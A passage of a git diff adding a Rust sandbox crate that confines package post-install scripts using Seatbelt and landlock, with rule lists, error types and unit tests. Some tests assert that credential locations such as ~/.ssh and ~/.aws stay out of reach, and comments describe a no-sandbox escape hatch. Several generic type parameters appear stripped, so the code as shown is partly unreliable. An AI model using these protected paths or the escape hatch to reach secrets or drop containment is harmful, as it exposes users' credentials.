empty_string_entry_rejected_because_it_widens_project_wide() { + let e = fixture(r#"{"lpm":{"scripts":{"sandboxWriteDirs":[""]}}}"#); + match load_sandbox_write_dirs(&e.package_json, &e.project) { + Err(SandboxError::InvalidSpec { reason }) => { + assert!(reason.contains("empty")); + assert!(reason.contains("widen")); + } + other => panic!("expected InvalidSpec, got {other:?}"), + } + } + + #[test] + fn malformed_json_surfaces_as_invalid_spec() { + let e = fixture(r#"{"lpm": INVALID"#); + match load_sandbox_write_dirs(&e.package_json, &e.project) { + Err(SandboxError::InvalidSpec { reason }) => { + assert!(reason.contains("not valid JSON")); + } + other => panic!("expected InvalidSpec, got {other:?}"), + } + } +} diff --git a/crates/lpm-sandbox/src/landlock_rules.rs b/crates/lpm-sandbox/src/landlock_rules.rs new file mode 100644 index 00000000..5fb23cee --- /dev/null +++ b/crates/lpm-sandbox/src/landlock_rules.rs @@ -0,0 +1,316 @@ +//! Path+access rule description for the Linux landlock backend. +//! +//! Deliberately platform-neutral so it can be unit-tested on macOS +//! host (the CI Linux target exercises the real landlock install). +//! The landlock-specific bits — ABI negotiation, `PathFd` open, rule +//! install, `restrict_self` — live in [`crate::linux`]. +//! +//! Rule layout mirrors §9.3 of the Phase 46 plan exactly: +//! - Reads broad (project + toolchain + system). +//! - Writes narrow (package store dir + `node_modules` + `.husky` + +//! `.lpm` + known caches + temp + extras from `sandboxWriteDirs`). +//! - No blanket home-dir read — `~/.ssh`, `~/.aws`, `~/.config/**` +//! outside `~/.cache`/`~/.node-gyp`/`~/.npm` stay denied by default. +//! +//! Landlock semantics: rules are **additive** (union of access bits). +//! A path that falls under both a Read rule and a ReadWrite rule ends +//! up ReadWrite. That's why `project_dir` gets a Read rule and +//! `project_dir/node_modules` gets a ReadWrite rule — the write rule +//! wins where they overlap, and the read rule still grants read +//! access to the rest of `project_dir`. + +use crate::SandboxSpec; +use std::path::PathBuf; + +/// Access level a landlock rule grants for a path. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum RuleAccess { + /// Read-only: `ReadFile` + `ReadDir` (in landlock terms). Covers + /// open-for-read, stat, readdir, and readlink on symlinks under + /// the path. + Read, + /// Full access: read + create + remove + write. The full + /// `AccessFs::from_all(abi)` set for the negotiated ABI. + ReadWrite, +} + +/// Read-only system paths every reasonable Linux lifecycle script +/// needs. Listed in a const so the rules-layer contract is visible +/// from one place. Chunk 5's escape corpus asserts these stay +/// narrow (e.g. no `/root`, no `/`). +pub(crate) const SYSTEM_READ_PATHS: &[&str] = &[ + // Binaries, libraries, and the dynamic linker. On usr-merged + // distros `/bin` and `/sbin` are symlinks to `/usr/bin` and + // `/usr/sbin`, but landlock follows them so rules stay correct. + "/usr", "/bin", "/sbin", "/lib", "/lib64", + // Locale, resolver, `ld.so.conf`, `ld.so.cache`, timezone, + // ca-certificates — the "system configuration" reads libc and + // network scripts expect. + "/etc", + // `/proc/self/*`, `/proc/cpuinfo`, `/proc/sys/kernel/*`: needed + // by node's process module, by `uname -r`, and by tools that + // probe their own PID. Landlock does NOT restrict procfs + // beyond pathname enforcement, which is what we want. + "/proc", + // `/dev/null`, `/dev/urandom`, `/dev/tty`, `/dev/fd/*`, + // `/dev/std{in,out,err}`. Narrower than the Seatbelt profile + // because landlock doesn't expose iokit-style device classes; + // containment on raw block devices is enforced at the unix + // permission layer instead, which is adequate for the script + // runner's threat model. + "/dev", +]; + +/// Describe the full rule set for a given [`SandboxSpec`]. Order is +/// deterministic — tests pin on it indirectly (e.g. "first read rule +/// is package_dir") for regression catches. +/// +/// Returns `Vec<(PathBuf, RuleAccess)>` instead of real +/// `landlock::PathBeneath` values so the function is: +/// 1. Testable without a Linux kernel (runs on macOS host). +/// 2. Free of unsafe `PathFd` opens at rule-description time (those +/// happen in the child's pre_exec hook in [`crate::linux`]). +pub(crate) fn describe_rules(spec: &SandboxSpec) -> Vec<(PathBuf, RuleAccess)> { + let mut rules = Vec::with_capacity(32 + spec.extra_write_dirs.len()); + + // Read-only system baseline. + for p in SYSTEM_READ_PATHS { + rules.push((PathBuf::from(p), RuleAccess::Read)); + } + + // Read-only project baseline. The package's own hoisted deps + // under `{project}/node_modules/.lpm/` are reachable via this + // rule under LPM's default linker strategy (clonefile on macOS, + // hardlink on Linux — both place hoisted-dep content inside + // the project tree, so rule matches path-locally). The + // fallback symlink path would cross into `~/.lpm/store/` which + // this rule doesn't cover; per Phase 46 D23, that's an + // accepted corner — widening to `store_root` would expose + // every other package the user has installed. If the fallback + // path becomes common in practice, §9.7 documents the two + // remediations (switch to hardlink, or widen reads). + rules.push((spec.project_dir.clone(), RuleAccess::Read)); + // NVM-installed toolchain, per §9.3. Only added if the host has + // a matching dir — [`crate::linux::spawn`] filters missing paths + // at FD-open time; the description layer stays complete. + let nvm = spec.home_dir.join(".nvm").join("versions"); + rules.push((nvm, RuleAccess::Read)); + + // Read+write — the §9.3 narrow write list. + rules.push((spec.package_dir.clone(), RuleAccess::ReadWrite)); + rules.push((spec.project_dir.join("node_modules"), RuleAccess::ReadWrite)); + rules.push((spec.project_dir.join(".husky"), RuleAccess::ReadWrite)); + rules.push((spec.project_dir.join(".lpm"), RuleAccess::ReadWrite)); + rules.push((spec.home_dir.join(".cache"), RuleAccess::ReadWrite)); + rules.push((spec.home_dir.join(".node-gyp"), RuleAccess::ReadWrite)); + rules.push((spec.home_dir.join(".npm"), RuleAccess::ReadWrite)); + rules.push((PathBuf::from("/tmp"), RuleAccess::ReadWrite)); + rules.push((spec.tmpdir.clone(), RuleAccess::ReadWrite)); + // `/dev/null` and `/dev/tty` as writable — shells redirect to + // them constantly. The broader `/dev` Read rule already covers + // reading these; the ReadWrite rule adds write bits. Union + // semantics means the net effect is ReadWrite on the two + // literals and Read on everything else under `/dev`. + rules.push((PathBuf::from("/dev/null"), RuleAccess::ReadWrite)); + rules.push((PathBuf::from("/dev/tty"), RuleAccess::ReadWrite)); + + // Per-project extras from `package.json > lpm > scripts > + // sandboxWriteDirs`. Loader guarantees absolute paths. + for p in &spec.extra_write_dirs { + rules.push((p.clone(), RuleAccess::ReadWrite)); + } + + rules +} + +#[cfg(test)] +mod tests { + use super::*; + use std::path::PathBuf; + + fn spec() -> SandboxSpec { + SandboxSpec { + package_dir: PathBuf::from("/lpm-store/prisma@5.22.0"), + project_dir: PathBuf::from("/home/u/proj"), + package_name: "prisma".into(), + package_version: "5.22.0".into(), + store_root: PathBuf::from("/lpm-store"), + home_dir: PathBuf::from("/home/u"), + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + } + } + + fn contains_rule(rules: &[(PathBuf, RuleAccess)], path: &str, access: RuleAccess) -> bool { + rules + .iter() + .any(|(p, a)| p.as_os_str() == path && *a == access) + } + + #[test] + fn package_dir_is_readwrite() { + let rules = describe_rules(&spec()); + assert!( + contains_rule(&rules, "/lpm-store/prisma@5.22.0", RuleAccess::ReadWrite), + "package_dir must be RW so postinstall can write build artifacts: {rules:?}" + ); + } + + #[test] + fn project_dir_has_read_and_subpaths_have_write() { + let rules = describe_rules(&spec()); + assert!(contains_rule(&rules, "/home/u/proj", RuleAccess::Read)); + assert!(contains_rule( + &rules, + "/home/u/proj/node_modules", + RuleAccess::ReadWrite + )); + assert!(contains_rule( + &rules, + "/home/u/proj/.husky", + RuleAccess::ReadWrite + )); + assert!(contains_rule( + &rules, + "/home/u/proj/.lpm", + RuleAccess::ReadWrite + )); + } + + #[test] + fn home_cache_paths_are_writable_but_home_itself_is_not() { + let rules = describe_rules(&spec()); + assert!(contains_rule( + &rules, + "/home/u/.cache", + RuleAccess::ReadWrite + )); + assert!(contains_rule( + &rules, + "/home/u/.node-gyp", + RuleAccess::ReadWrite + )); + assert!(contains_rule(&rules, "/home/u/.npm", RuleAccess::ReadWrite)); + // No blanket $HOME rule — that would leak ~/.ssh, ~/.aws, + // ~/.config/git etc. + assert!( + !rules.iter().any(|(p, _)| p.as_os_str() == "/home/u"), + "home_dir itself must not appear in the rule set: {rules:?}" + ); + } + + #[test] + fn nvm_versions_is_read_only() { + let rules = describe_rules(&spec()); + assert!(contains_rule( + &rules, + "/home/u/.nvm/versions", + RuleAccess::Read + )); + } + + #[test] + fn temp_paths_are_writable() { + let rules = describe_rules(&spec()); + // `/tmp` is broadly writable by design — real-world + // postinstalls shell out to `mktemp` and write intermediate + // artifacts to `/tmp/...` paths (see compat_greens + // `tmp_scratch_write_shape_succeeds`). `spec.tmpdir` on top + // resolves to the same path on the default unit-test spec + // (harmless union) but lets callers request a second narrow + // scratch dir when they set TMPDIR elsewhere. + assert!(contains_rule(&rules, "/tmp", RuleAccess::ReadWrite)); + } + + #[test] + fn dev_null_and_dev_tty_are_writable_but_other_dev_is_read_only() { + let rules = describe_rules(&spec()); + assert!(contains_rule(&rules, "/dev", RuleAccess::Read)); + assert!(contains_rule(&rules, "/dev/null", RuleAccess::ReadWrite)); + assert!(contains_rule(&rules, "/dev/tty", RuleAccess::ReadWrite)); + // No blanket /dev RW — additive semantics give us the right + // union without it. + assert!( + !contains_rule(&rules, "/dev", RuleAccess::ReadWrite), + "/dev must be Read-only; /dev/null + /dev/tty are the narrow RW exceptions" + ); + } + + #[test] + fn system_toolchain_paths_are_read_only() { + let rules = describe_rules(&spec()); + for p in SYSTEM_READ_PATHS { + assert!( + contains_rule(&rules, p, RuleAccess::Read), + "{p} must be readable" + ); + // Never ReadWrite — system paths must never be writable + // from a sandboxed script. + assert!( + !contains_rule(&rules, p, RuleAccess::ReadWrite), + "{p} must NEVER be writable from the sandbox" + ); + } + } + + #[test] + fn no_rule_covers_ssh_aws_or_root_home() { + let rules = describe_rules(&spec()); + for (p, _) in &rules { + let s = p.to_string_lossy(); + assert!( + !s.contains("/.ssh"), + "ssh must never be in the rule set: {s}" + ); + assert!( + !s.contains("/.aws"), + "aws must never be in the rule set: {s}" + ); + assert!( + !s.starts_with("/root"), + "root home must never be in the rule set: {s}" + ); + // `/home/u` exactly (not the subpaths) was already + // asserted-absent above; re-check here symmetric with + // the ssh/aws guard. + assert_ne!(p.as_os_str(), "/home/u"); + } + } + + #[test] + fn extra_write_dirs_are_readwrite_and_preserve_order() { + let mut s = spec(); + s.extra_write_dirs = vec![ + PathBuf::from("/home/u/proj/build-output"), + PathBuf::from("/home/u/.cache/ms-playwright"), + ]; + let rules = describe_rules(&s); + assert!(contains_rule( + &rules, + "/home/u/proj/build-output", + RuleAccess::ReadWrite + )); + assert!(contains_rule( + &rules, + "/home/u/.cache/ms-playwright", + RuleAccess::ReadWrite + )); + // The extras are appended at the end of the rule list so + // trailing-order-dependent layers can rely on the invariant. + let last = rules.last().unwrap(); + assert_eq!(last.0.as_os_str(), "/home/u/.cache/ms-playwright"); + } + + #[test] + fn tmpdir_distinct_from_slash_tmp_gets_its_own_rule() { + let mut s = spec(); + s.tmpdir = PathBuf::from("/var/tmp/user-xyz"); + let rules = describe_rules(&s); + assert!(contains_rule( + &rules, + "/var/tmp/user-xyz", + RuleAccess::ReadWrite + )); + assert!(contains_rule(&rules, "/tmp", RuleAccess::ReadWrite)); + } +} diff --git a/crates/lpm-sandbox/src/lib.rs b/crates/lpm-sandbox/src/lib.rs new file mode 100644 index 00000000..3b24f35f --- /dev/null +++ b/crates/lpm-sandbox/src/lib.rs @@ -0,0 +1,800 @@ +//! Filesystem-scoped sandbox for LPM post-install script execution. +//! +//! Phase 46 P5. This crate owns the execution-time containment machinery; +//! [`lpm-security`](../lpm_security/index.html) stays policy-only. +//! +//! The crate is intentionally narrow. Callers build a [`SandboxedCommand`] +//! (a platform-neutral description of the process they want to run), +//! obtain a [`Sandbox`] from [`new_for_platform`] for a given +//! [`SandboxSpec`] paired with a [`SandboxMode`], then call +//! [`Sandbox::spawn`]. The backend decides how to apply containment: +//! macOS routes the spawn through `sandbox-exec`, and Linux installs a +//! landlock ruleset via `pre_exec` in the forked child. +//! +//! ## Backend coverage +//! +//! | Platform | [`SandboxMode::Enforce`] | [`SandboxMode::LogOnly`] | [`SandboxMode::Disabled`] | +//! |----------|--------------------------|---------------------------|----------------------------| +//! | macOS | Seatbelt (`sandbox-exec`) | Seatbelt w/ `(allow (with report) default)` fallback | [`NoopSandbox`] | +//! | Linux | landlock (5.13+) | [`SandboxError::ModeNotSupportedOnPlatform`] — no native observe-only | [`NoopSandbox`] | +//! | Windows | [`SandboxError::UnsupportedPlatform`] — deferred to Phase 46.1 (D10) | [`SandboxError::UnsupportedPlatform`] | [`NoopSandbox`] | +//! +//! [`SandboxMode::Disabled`] always succeeds with a [`NoopSandbox`]: +//! the `--unsafe-full-env --no-sandbox` escape hatch has to be +//! reachable from every platform, including Windows. + +#![deny(unsafe_op_in_unsafe_fn)] +#![warn(missing_docs)] + +use std::ffi::OsString; +use std::path::PathBuf; + +#[cfg(target_os = "macos")] +mod macos; + +#[cfg(target_os = "macos")] +mod seatbelt; + +#[cfg(target_os = "linux")] +mod linux; + +// Rule description is platform-neutral so macOS CI + developer-host +// test runs exercise it without a Linux kernel. The module is gated +// on `target_os = "linux"` for production builds (where `linux.rs` +// consumes it) and on `test` for any test build (so the rules unit +// tests run on the macOS developer host). Non-Linux production +// builds don't compile this module at all, which matches CLAUDE.md's +// cross-platform hygiene rule. +#[cfg(any(target_os = "linux", test))] +mod landlock_rules; + +pub mod config; +pub use config::load_sandbox_write_dirs; + +/// Inputs the sandbox backend needs to render its containment profile +/// for a single post-install script invocation. +/// +/// All paths are absolute. The sandbox variable interpolation set +/// (`{store}`, `{pkg}`, `{version}`, `{project}`, `{home}`, `{tmpdir}`) +/// maps 1:1 onto the fields below; [`extra_write_dirs`] widens the +/// writable set per `package.json > lpm > scripts > sandboxWriteDirs`. +/// +/// [`extra_write_dirs`]: SandboxSpec::extra_write_dirs +#[derive(Debug, Clone)] +pub struct SandboxSpec { + /// `{store}/{pkg}@{version}` — the package's own content-addressable + /// store directory. The primary writable root per §9.3. + pub package_dir: PathBuf, + /// Absolute path to the project root (the directory containing + /// `package.json`). Readable broadly; writable under narrow subpaths + /// (`node_modules`, `.husky`, `.lpm`). + pub project_dir: PathBuf, + /// Package identity for profile interpolation + denial messages. + /// e.g. `"prisma"` or `"@napi-rs/canvas"`. + pub package_name: String, + /// Package version string, e.g. `"5.22.0"`. Paired with + /// [`package_name`](Self::package_name) for `{pkg}@{version}`. + pub package_version: String, + /// The LPM content-addressable store root (`~/.lpm/store`). Readable + /// broadly so scripts can cross-reference their own hoisted deps. + pub store_root: PathBuf, + /// `$HOME`. Used to expand `$HOME/.cache`, `$HOME/.node-gyp`, + /// `$HOME/.npm` in the §9.3 writable set and `$HOME/.nvm/versions` + /// in the read set. + pub home_dir: PathBuf, + /// `$TMPDIR`. Per-user temp on macOS, typically `/tmp` on Linux. + /// `/tmp` itself is already in the writable set. + pub tmpdir: PathBuf, + /// Extra writable subpaths from `package.json > lpm > scripts > + /// sandboxWriteDirs`. Loader resolves relative paths against + /// [`project_dir`](Self::project_dir) before constructing the spec. + pub extra_write_dirs: Vec, +} + +/// How the sandbox applies containment for a given spawn. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum SandboxMode { + /// Default. OS-level block on any access outside the allow-set. + /// The only mode that raises the security floor. + Enforce, + /// Diagnostic-only. Emits structured trace events for would-be + /// denials but does not block. **Not authoritative** — never + /// substitutes for [`Enforce`](Self::Enforce). Intended for + /// compat debugging via `--sandbox-log`. + LogOnly, + /// No containment. Used only by the `--unsafe-full-env + /// --no-sandbox` escape hatch. Emits a loud CLI banner at the + /// call site (not this crate's responsibility). + Disabled, +} + +/// How a child's stdio should be wired. Superset subset of +/// [`std::process::Stdio`] variants the sandbox knows how to map. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum SandboxStdio { + /// Inherit the parent's file descriptor. + Inherit, + /// Capture into a pipe the caller can read. + Piped, + /// Discard. + Null, +} + +impl From for std::process::Stdio { + fn from(s: SandboxStdio) -> Self { + match s { + SandboxStdio::Inherit => std::process::Stdio::inherit(), + SandboxStdio::Piped => std::process::Stdio::piped(), + SandboxStdio::Null => std::process::Stdio::null(), + } + } +} + +/// Platform-neutral description of a process the sandbox should spawn. +/// +/// Sandbox-specific wrapping (e.g. prepending `sandbox-exec -p ` +/// on macOS, installing a `pre_exec` hook on Linux) happens inside the +/// [`Sandbox`] backend at spawn time. Callers never construct a +/// [`std::process::Command`] directly. +#[derive(Debug)] +pub struct SandboxedCommand { + /// The program to execute, e.g. `"sh"` for lifecycle scripts. + pub program: OsString, + /// Arguments to the program, e.g. `["-c", "node install.js"]`. + pub args: Vec, + /// Explicit environment. [`env_clear`](Self::env_clear) controls + /// whether this fully replaces the parent env. + pub envs: Vec<(OsString, OsString)>, + /// If `true`, the parent's environment is cleared before [`envs`](Self::envs) + /// is applied. Matches [`std::process::Command::env_clear`]. + pub env_clear: bool, + /// Working directory for the child. [`None`] inherits the parent's. + pub current_dir: Option, + /// Wiring for the child's stdout. + pub stdout: SandboxStdio, + /// Wiring for the child's stderr. + pub stderr: SandboxStdio, + /// Wiring for the child's stdin. + pub stdin: SandboxStdio, +} + +impl SandboxedCommand { + /// Build a minimal command — program + args only. All other fields + /// default to "inherit / no override" so callers can set only what + /// they care about. + pub fn new(program: impl Into) -> Self { + Self { + program: program.into(), + args: Vec::new(), + envs: Vec::new(), + env_clear: false, + current_dir: None, + stdout: SandboxStdio::Inherit, + stderr: SandboxStdio::Inherit, + stdin: SandboxStdio::Inherit, + } + } + + /// Append a single argument. + pub fn arg(mut self, arg: impl Into) -> Self { + self.args.push(arg.into()); + self + } + + /// Replace the environment (setting [`env_clear`](Self::env_clear)) + /// with the given key/value pairs. + pub fn envs_cleared(mut self, envs: I) -> Self + where + K: Into, + V: Into, + I: IntoIterator, + { + self.env_clear = true; + self.envs.clear(); + for (k, v) in envs { + self.envs.push((k.into(), v.into())); + } + self + } + + /// Set the child's working directory. + pub fn current_dir(mut self, dir: impl Into) -> Self { + self.current_dir = Some(dir.into()); + self + } +} + +/// Structured reasons a sandbox operation can fail. Every variant +/// carries enough information for the CLI to surface an actionable +/// denial line (§9 + §12.5). +#[derive(Debug, thiserror::Error)] +pub enum SandboxError { + /// The current platform has no sandbox backend. Windows (Phase 46) + /// and non-{macOS,Linux} unix variants hit this arm. [`remediation`] + /// is the user-facing next-step string. + /// + /// [`remediation`]: SandboxError::UnsupportedPlatform::remediation + #[error("sandbox unavailable on {platform} — {remediation}")] + UnsupportedPlatform { + /// Lowercase platform identifier (`"windows"`, `"freebsd"`, …). + platform: String, + /// User-facing next-step. Directs to the escape hatch or the + /// Phase 46.1 deferral as appropriate. + remediation: String, + }, + + /// Linux kernel is older than the landlock ABI level the sandbox + /// needs. Emitted by the Linux backend; symmetric with + /// [`UnsupportedPlatform`](Self::UnsupportedPlatform) per the + /// refuse-to-run stance agreed in Chunk 1 signoff. + #[error( + "Linux kernel too old for landlock sandbox (detected {detected}, need {required}) — \ + {remediation}" + )] + KernelTooOld { + /// `uname -r` output or parsed equivalent. + detected: String, + /// Minimum kernel version the backend requires, e.g. `"5.13"`. + required: String, + /// User-facing next-step. + remediation: String, + }, + + /// The backend for this platform exists, but the requested + /// [`SandboxMode`] has no implementation on this platform. + /// Phase 46 P5 Chunk 4 introduces this for Linux LogOnly: + /// landlock has no native observe-only primitive, so the honest + /// answer is "reject the mode" rather than pseudo-mode it. + /// + /// Distinct from [`UnsupportedPlatform`](Self::UnsupportedPlatform) + /// (the whole platform lacks a backend) so callers + tests can + /// distinguish "no containment here" from "no diagnostic mode + /// here, but Enforce works fine." + #[error("sandbox mode {mode:?} is not supported on {platform} in Phase 46 P5 — {remediation}")] + ModeNotSupportedOnPlatform { + /// Lowercase platform identifier (`"linux"`, `"windows"`, …). + platform: String, + /// The offending mode — usually [`SandboxMode::LogOnly`] on + /// Linux. + mode: SandboxMode, + /// User-facing next-step. Names the interim workaround + /// (typically `--unsafe-full-env --no-sandbox`) so users + /// aren't stuck guessing. + remediation: String, + }, + + /// Profile synthesis or ruleset construction failed before spawn. + /// Carries the backend-specific reason so denial lines remain + /// actionable (e.g. "invalid path in sandboxWriteDirs: …"). + #[error("failed to render sandbox profile: {reason}")] + ProfileRenderFailed { + /// Backend-specific failure detail. + reason: String, + }, + + /// The child process failed to spawn. Distinct from a sandbox-rule + /// denial — typically means `sandbox-exec` or the target program + /// isn't on `$PATH`, or a syscall (clone/fork/exec) failed. + #[error("failed to spawn sandboxed child: {reason}")] + SpawnFailed { + /// `std::io::Error` message or equivalent. + reason: String, + }, + + /// Caller provided a [`SandboxSpec`] the backend can't use, e.g. + /// a relative `package_dir` or empty `package_name`. + #[error("invalid sandbox spec: {reason}")] + InvalidSpec { + /// Which field violated what invariant. + reason: String, + }, +} + +/// Trait every platform backend implements. +/// +/// Object-safe so callers hold `Box`. [`spawn`] owns the +/// entire OS-level process creation so backends can insert their +/// wrapper program (macOS) or `pre_exec` hook (Linux) without leaking +/// mechanism into the call site. +/// +/// [`spawn`]: Sandbox::spawn +pub trait Sandbox: Send + Sync { + /// Spawn the given command under this sandbox. Returns a running + /// [`std::process::Child`] on success. + fn spawn(&self, cmd: SandboxedCommand) -> Result; + + /// Short identifier for logs and denial messages: `"seatbelt"`, + /// `"landlock"`, `"noop"`. + fn backend_name(&self) -> &'static str; + + /// The [`SandboxMode`] this instance was constructed for. Callers + /// use this to gate diagnostic-mode-only UI (e.g. `--sandbox-log` + /// banners) without reaching into backend-specific state. + fn mode(&self) -> SandboxMode; +} + +/// Returns a sandbox for the current platform + mode. +/// +/// Dispatch is `cfg`-gated per CLAUDE.md hygiene rule: each platform +/// arm pulls only its own backend module, and non-supported platforms +/// return [`SandboxError::UnsupportedPlatform`] directly without +/// compiling platform-specific code they don't have. +/// +/// [`SandboxMode::Disabled`] always succeeds with a [`NoopSandbox`] +/// regardless of platform — the `--unsafe-full-env --no-sandbox` +/// escape hatch must work everywhere, including Windows. +pub fn new_for_platform( + spec: SandboxSpec, + mode: SandboxMode, +) -> Result, SandboxError> { + if matches!(mode, SandboxMode::Disabled) { + return Ok(Box::new(NoopSandbox { spec, mode })); + } + + validate_spec(&spec)?; + platform_backend(spec, mode) +} + +#[cfg(target_os = "macos")] +fn platform_backend( + spec: SandboxSpec, + mode: SandboxMode, +) -> Result, SandboxError> { + Ok(Box::new(macos::SeatbeltSandbox::new(spec, mode)?)) +} + +#[cfg(target_os = "linux")] +fn platform_backend( + spec: SandboxSpec, + mode: SandboxMode, +) -> Result, SandboxError> { + Ok(Box::new(linux::LandlockSandbox::new(spec, mode)?)) +} + +#[cfg(not(any(target_os = "macos", target_os = "linux")))] +fn platform_backend( + _spec: SandboxSpec, + _mode: SandboxMode, +) -> Result, SandboxError> { + Err(SandboxError::UnsupportedPlatform { + platform: std::env::consts::OS.to_string(), + remediation: unsupported_remediation(std::env::consts::OS), + }) +} + +/// Ensure the "standard" writable subpaths referenced by the sandbox +/// profile actually exist on disk, creating any that don't. +/// +/// Phase 46 P5 Chunk 5: sandbox rules of the shape `(subpath +/// "{project}/.husky")` allow writes INSIDE `.husky`, but creating +/// `.husky` itself requires write on its parent (`{project}`) which +/// we deliberately DON'T grant (scripts would gain write on the +/// whole project tree). Scripts like `husky install` running on a +/// fresh project would fail without this helper — they'd try to +/// create `.husky` themselves and hit the sandbox rule gap. +/// +/// Callers (build.rs production path + compat-corpus test fixtures) +/// invoke this once before spawning scripts. Paths that already +/// exist are left alone. +/// +/// Errors surface as `SandboxError::InvalidSpec` with an actionable +/// reason so the caller can distinguish "sandbox couldn't prep the +/// filesystem" from "the sandbox itself failed." +pub fn prepare_writable_dirs(spec: &SandboxSpec) -> Result<(), SandboxError> { + let candidates = [ + spec.project_dir.join(".husky"), + spec.project_dir.join(".lpm"), + spec.project_dir.join("node_modules"), + spec.home_dir.join(".cache"), + spec.home_dir.join(".node-gyp"), + spec.home_dir.join(".npm"), + ]; + for p in &candidates { + if !p.exists() + && let Err(e) = std::fs::create_dir_all(p) + { + return Err(SandboxError::InvalidSpec { + reason: format!( + "failed to prepare writable dir {}: {e}. The sandbox needs \ + this path to exist before scripts run — see \ + `prepare_writable_dirs` docs.", + p.display() + ), + }); + } + } + Ok(()) +} + +/// User-facing remediation string for [`SandboxError::UnsupportedPlatform`]. +/// +/// Centralized so Windows (Phase 46.1 deferral) and generic-unix +/// platforms share consistent wording, and so Chunk 4's CLI-side +/// message test has a single source of truth. +pub fn unsupported_remediation(platform: &str) -> String { + match platform { + "windows" => "enforcement deferred to Phase 46.1. Re-run with \ + --unsafe-full-env --no-sandbox to execute scripts without \ + containment, or set script-policy = deny." + .to_string(), + _ => format!( + "{platform} has no LPM sandbox backend. Re-run with \ + --unsafe-full-env --no-sandbox to execute scripts without \ + containment, or set script-policy = deny." + ), + } +} + +fn validate_spec(spec: &SandboxSpec) -> Result<(), SandboxError> { + if spec.package_name.is_empty() { + return Err(SandboxError::InvalidSpec { + reason: "package_name is empty".into(), + }); + } + if spec.package_version.is_empty() { + return Err(SandboxError::InvalidSpec { + reason: "package_version is empty".into(), + }); + } + for (field, path) in [ + ("package_dir", &spec.package_dir), + ("project_dir", &spec.project_dir), + ("store_root", &spec.store_root), + ("home_dir", &spec.home_dir), + ("tmpdir", &spec.tmpdir), + ] { + if !path.is_absolute() { + return Err(SandboxError::InvalidSpec { + reason: format!("{field} must be absolute, got {}", path.display()), + }); + } + } + for (i, p) in spec.extra_write_dirs.iter().enumerate() { + if !p.is_absolute() { + return Err(SandboxError::InvalidSpec { + reason: format!( + "extra_write_dirs[{i}] must be absolute after resolution, got {}", + p.display() + ), + }); + } + } + Ok(()) +} + +/// No-op sandbox backend. Used only for [`SandboxMode::Disabled`] — +/// spawns the command with no containment applied. Not available to +/// [`SandboxMode::Enforce`] or [`SandboxMode::LogOnly`]. +pub struct NoopSandbox { + #[allow(dead_code)] + spec: SandboxSpec, + mode: SandboxMode, +} + +impl Sandbox for NoopSandbox { + fn spawn(&self, cmd: SandboxedCommand) -> Result { + let mut command = std::process::Command::new(&cmd.program); + command.args(&cmd.args); + if cmd.env_clear { + command.env_clear(); + } + for (k, v) in &cmd.envs { + command.env(k, v); + } + if let Some(dir) = &cmd.current_dir { + command.current_dir(dir); + } + command.stdout(std::process::Stdio::from(cmd.stdout)); + command.stderr(std::process::Stdio::from(cmd.stderr)); + command.stdin(std::process::Stdio::from(cmd.stdin)); + // Put the child in its own process group so the caller's + // timeout path can kill the whole tree with `kill(-pid, SIGKILL)`. + // Matches the pre-Phase-46 build.rs behavior and the other + // backends (Seatbelt, Landlock) — keeps `--no-sandbox` behaving + // like the legacy direct-spawn in every observable way. + #[cfg(unix)] + { + use std::os::unix::process::CommandExt; + command.process_group(0); + } + command.spawn().map_err(|e| SandboxError::SpawnFailed { + reason: e.to_string(), + }) + } + + fn backend_name(&self) -> &'static str { + "noop" + } + + fn mode(&self) -> SandboxMode { + self.mode + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::path::PathBuf; + + fn sample_spec() -> SandboxSpec { + SandboxSpec { + package_dir: PathBuf::from("/home/u/.lpm/store/prisma@5.22.0"), + project_dir: PathBuf::from("/home/u/proj"), + package_name: "prisma".into(), + package_version: "5.22.0".into(), + store_root: PathBuf::from("/home/u/.lpm/store"), + home_dir: PathBuf::from("/home/u"), + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + } + } + + #[test] + fn sandbox_spec_constructs_and_clones() { + let a = sample_spec(); + let b = a.clone(); + assert_eq!(a.package_name, b.package_name); + assert_eq!(a.package_dir, b.package_dir); + } + + #[test] + fn sandbox_mode_is_copy_and_comparable() { + let m = SandboxMode::Enforce; + let n = m; + assert_eq!(m, n); + assert_ne!(SandboxMode::Enforce, SandboxMode::LogOnly); + assert_ne!(SandboxMode::LogOnly, SandboxMode::Disabled); + } + + #[test] + fn sandboxed_command_builder_sets_program_and_args() { + let cmd = SandboxedCommand::new("sh") + .arg("-c") + .arg("echo hi") + .current_dir("/tmp") + .envs_cleared([("PATH", "/usr/bin:/bin")]); + assert_eq!(cmd.program, OsString::from("sh")); + assert_eq!( + cmd.args, + vec![OsString::from("-c"), OsString::from("echo hi")] + ); + assert_eq!(cmd.current_dir, Some(PathBuf::from("/tmp"))); + assert!(cmd.env_clear); + assert_eq!(cmd.envs.len(), 1); + } + + #[test] + fn error_display_unsupported_platform_mentions_platform_and_remediation() { + let e = SandboxError::UnsupportedPlatform { + platform: "windows".into(), + remediation: unsupported_remediation("windows"), + }; + let msg = format!("{e}"); + assert!(msg.contains("windows"), "got: {msg}"); + assert!(msg.contains("Phase 46.1"), "got: {msg}"); + assert!(msg.contains("--unsafe-full-env --no-sandbox"), "got: {msg}"); + } + + #[test] + fn error_display_kernel_too_old_carries_versions() { + let e = SandboxError::KernelTooOld { + detected: "5.10.0".into(), + required: "5.13".into(), + remediation: "upgrade kernel or use --unsafe-full-env --no-sandbox".into(), + }; + let msg = format!("{e}"); + assert!(msg.contains("5.10.0")); + assert!(msg.contains("5.13")); + assert!(msg.contains("landlock")); + } + + #[test] + fn error_display_profile_render_failed_contains_reason() { + let e = SandboxError::ProfileRenderFailed { + reason: "invalid path in sandboxWriteDirs".into(), + }; + assert!(format!("{e}").contains("invalid path in sandboxWriteDirs")); + } + + #[test] + fn error_display_spawn_failed_contains_reason() { + let e = SandboxError::SpawnFailed { + reason: "No such file or directory (os error 2)".into(), + }; + assert!(format!("{e}").contains("No such file or directory")); + } + + #[test] + fn error_display_invalid_spec_contains_reason() { + let e = SandboxError::InvalidSpec { + reason: "package_name is empty".into(), + }; + assert!(format!("{e}").contains("package_name is empty")); + } + + #[test] + fn error_display_mode_not_supported_on_platform_names_mode_platform_and_remediation() { + let e = 